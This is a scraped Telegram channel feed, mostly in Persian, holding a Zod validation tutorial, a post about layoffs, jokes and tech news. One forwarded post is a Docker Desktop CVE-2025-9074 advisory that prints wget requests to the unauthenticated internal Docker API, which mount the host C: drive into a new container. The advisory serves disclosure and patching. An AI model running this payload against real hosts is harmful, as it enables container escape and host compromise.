Sonia Software Notes
2.02K subscribers
307 photos
16 videos
46 files
531 links
Download Telegram
📚معرفی Zod
یه کتابخونه فوق‌العاده برای اعتبارسنجی (Validation) داده‌هاست که باهاش می‌تونید قوانین دقیق و تایپ‌سیف تعریف کنید.

📦 نصب Zod
npm install zod 
# yarn add zod
# pnpm install zod


💠 نمونه کد
import { z } from "zod";

const userSchema = z.object({
username: z.string().min(3, "Username must be minimum 3 characters"),
age: z.number().int().positive("Age must be positive"),
email: z.string().email("Email is invalid."),
password: z.string().min(6).refine(val => /[A-Z]/.test(val), {
message: "Password must be at least 6 characters and contain both uppercase and lowercase letters.",
}),
});


try {
userSchema.parse({
username: "ali",
age: 25,
email: "[email protected]",
password: "Secret1",
});
console.log("Validation successful.");
} catch (e) {
console.log(e.errors);
}


💠 استفاده از Zod با React Hook Form
ابتدا بسته‌های زیر را نصب کنید:
npm install react-hook-form @hookform/resolver
# yarn add react-hook-form @hookform/resolver
# pnpm install react-hook-form @hookform/resolver

import { useForm } from "react-hook-form";
import { zodResolver } from "@hookform/resolvers/zod";
import { z } from "zod";

const schema = z.object({
email: z.string().email(),
password: z.string().min(6),
});

function MyForm() {
const { register, handleSubmit, formState: { errors } } = useForm({
resolver: zodResolver(schema),
});

const onSubmit = data => {
console.log(data);
};

return (
<form onSubmit={handleSubmit(onSubmit)}>
<input {...register("email")} placeholder="Email" />
{errors.email && <p>{errors.email.message}</p>}

<input type="password" {...register("password")} placeholder="Password" />
{errors.password && <p>{errors.password.message}</p>}

<button type="submit">Login</button>
</form>
);
}


🔗 https://zod.dev

#Zod #Validation #FrontEnd #React
@SoniaNotes
9🤣3👍1
Forwarded from RandRng
۱۲ روز جنگیدیم هنوز ترکشاش داره میاد.

مدیرعامل یکی از شرکت‌هایی که باهاش کار می‌کنم؛ زنگ زده یک توضیحات مفصل و نهایتاً؛ لطفاً برای آخر ماه اگر بازم اوضاع اینترنت درست نشد، ۱۵ تا از نیروها رو برای تعدیل لیست بده (از ۲۰ تا نیرو) که تا آخر شهریور خدافظی کنیم.

داشتم به این فکر می‌کردم چطوری اسم بدم ؟

سنیورها رو بدم ؟ چون راحت کار پیدا می‌کنند ولی بعد جونیور می‌مونه که کار خاصی نمی‌تونه بکنه!
جونیورها رو بدم ؟ سنیور دست خالی می‌مونه و وقتش تلف می‌شه، و بعد نا امیدی و بی‌حوصلگی باعث میشه بذاره بره!

هم جونیور بدم هم سنیور ؟ شرکت بعد از ۱۲ روز جنگ فقط درگیر سرورا بوده رفع مشکلات دسترسی و دپلوی (اکثراً مشتری‌هامونم خارجی هستند)
سنیورها، از توسعه ندادن ناامید می‌شوند و این ناامیدی بین جونیورها هم پخش میشه و دیگه انرژی نمی‌مونه (بخصوص بعد تعدیل)

واقعاً نمی‌دونم چیکار کنم ؟

انقدر بابت مشکلات اینترنت زنگ زدیم که طرف رسماً گفت تهران و دیتاستنترها اختلال عمدی هست؛ لطفاً صبور باشید!

به مدیر عامل می‌گم؛ آقا استارلینک بذار نهایت ۱ ماه حقوق رو می‌خوای بدی دیگه!
می‌ترسه!

توی لیست فعلا؛ اسم خودم رو نوشتم.
شاید با بچه‌ها صحبت کنم؛ دو شغلی‌ها و اونایی که توانایی پیدا کردن کار تو همین مدت کم دارند رو بنویسم.
💔51
خوبی gpt اینه که منو بهتر از خودم میشناسه ;/

پرامتشو تست کنید :
با توجه به چیزایی که ازم میدونی بهم یه انیمه معرفی کن, توضیح نده
💊9🤣7


و واقعا به شکل عجیبی تروالدز در هر سه دسته می‌گنجنه!

@haghiri75_blog
🤣272❤‍🔥1👎1
Forwarded from localhost (Yousef Taheri)
Toyota CHR
Mikrotik CHR
Forwarded from Decrypt
AI Now Matches Prediction Markets in Forecasting Real Events, Study Finds

University of Chicago’s Prophet Arena pits AI models against live prediction markets. Early results suggest machines can match, and sometimes beat, the wisdom of crowds.
3
🤣37
Forwarded from Xero Notes
🐋 آسیب‌پذیری CVE-2025-9074 در Docker Desktop

اخیرا از آسیب‌پذیری جدیدی در Docker Desktop با شناسه CVE-2025-9074 کشف شده است که به مهاجمین این امکان را می‌دهد تا از داخل کانتینرها به سیستم میزبان دسترسی پیدا کنند. این آسیب‌پذیری به دلیل دسترسی بدون احراز هویت به API داخلی Docker بوده و به راحتی می‌توان با استفاده از یک درخواست HTTP ساده، دسترسی کامل به سیستم میزبان پیدا کرد.

💥 این آسیب‌پذیری چطور به وجود آمده است؟

در Docker Desktop نسخه‌های قبل از ۴.۴۴.۳، هر کانتینری می‌توانست به API Docker با آدرس http://192.168.65.7:2375 دسترسی داشته باشد بدون اینکه نیاز به احراز هویت برای استفاده از آن داشته باشد.. با استفاده از این دسترسی، مهاجم می‌تواند یک کانتینر جدید با دسترسی‌های ویژه راه‌اندازی کرده و در نهایت به فولدر C: در سیستم میزبان دسترسی پیدا کند. لازم به ذکر است که این آسیب پذیری در نسخه مک نیز قابل استفاده است و امکان دسترسی روت را برای مهاجم فراهم می‌کند.

💠 نمونه کد برای آزمایش آسیب‌پذیری

ابتدا یک کانتینر Alpine بسازید.
docker run -it alpine /bin/sh


سپس با استفاده از پیلود زیر، آسیب‌پذیری را تست کنید.
wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /mnt/host_root/pwn.txt"],"HostConfig":{"Binds":["//c/host_root:/mnt/host_root"]}}' \
-O - https://192.168.65.7:2375/containers/create > create.json

cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - https://192.168.65.7:2375/containers/$cid/start


این پیلود با ارسال یک درخواست HTTP به آدرس زیر،
192.168.65.7:2375/containers/create


یک کانتینر جدید با دستور echo pwned > /mnt/host_root/pwn.txt می‌سازد و با استفاده از قابلیت Volume در Docker، مسیر C:/host_root را به mnt/host_root/ در داخل کانتینر مپ می‌کند.

📊 امتیاز CVSS

این آسیب‌پذیری دارای امتیاز CVSS 9.3 (بحرانی) است و در وکتور CVSS زیر قرار می‌گیرد:

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H


راه‌حل
این آسیب پذیری در نسخه Docker Desktop ۴.۴۴.۳ برطرف شده است.

🔗 https://nvd.nist.gov/vuln/detail/CVE-2025-9074

#DockerSecurity #CVE #DockerDesktop
@Xero_Notes
👍9🤣21
Forwarded from Project X Channel
Xray-core v25.9.10 正式版,支持 VLESS Reverse Proxy 极简配置

VLESS NFT 自成一个系列,每个图片都不同且只有一个,你可以选择自己喜欢的图片来收藏,先到先得

https://opensea.io/collection/vless 首发放出了二十个不同的 VLESS NFT 图片

本次还放出了两个稀缺的 Project X NFT,如果你有余力,请支持一下:https://opensea.io/assets/ethereum/0x5ee362866001613093361eb8569d59c4141b76d1/1
2